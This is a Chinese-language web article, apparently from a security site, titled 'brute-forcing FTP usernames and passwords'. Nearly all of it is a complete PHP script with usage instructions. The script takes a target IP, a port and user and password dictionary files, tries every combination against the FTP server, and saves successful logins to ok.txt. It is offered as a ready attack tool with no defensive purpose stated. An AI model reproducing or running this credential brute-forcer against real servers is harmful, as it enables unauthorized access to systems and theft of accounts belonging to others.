首页 网络安全 安全学院 查看内容

暴破FTP用户名和密码

2009-10-23 09:48 776 0

摘要: <?php//用法:php 本文件.php FTP的IP 端口 用户字典 密码字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动...
关键词: password username 用户名 密码 fopen fputs ok txt

<?php//用法:php 本文件.php FTP的IP 端口 用户字典 密码字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数,暴破成功后用户名和密码保存在同目录下的ok.txt。 //分别取不同用户名和N个密码对应$user=file($_SERVER["argv"][3]);$pass=file($_SERVER["argv"][4]);$countuser=count($user);$countpass=count($pass);$n=0;do {for($i=0;$i<$countpass;$i=$i+1){echo "$user[$n],$pass[$i]";ftplogin($user[$n],$pass[$i]);//调用ftp函数sleep(5);//防止ftp宕掉,暂且停5秒Continue;    }     $n++;     }while($n<$countuser); //FTP函数,登陆成功写入正确用户名和密码到本目录下的ok.txtfunction ftplogin($username,$password){//global $username, $password;$host=$_SERVER["argv"][1];$port=$_SERVER["argv"][2];$conn = ftp_connect($host,$port);if(!$conn){  echo "无法连FTP";    exit;}@ $result=ftp_login($conn,$username,$password);if(!$result){    echo "error";    ftp_quit($conn);    }else{echo "---------------------------------->ok";fputs(fopen('ok.txt','a+'),"用户名:".$username."密码:".$password); }} ?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部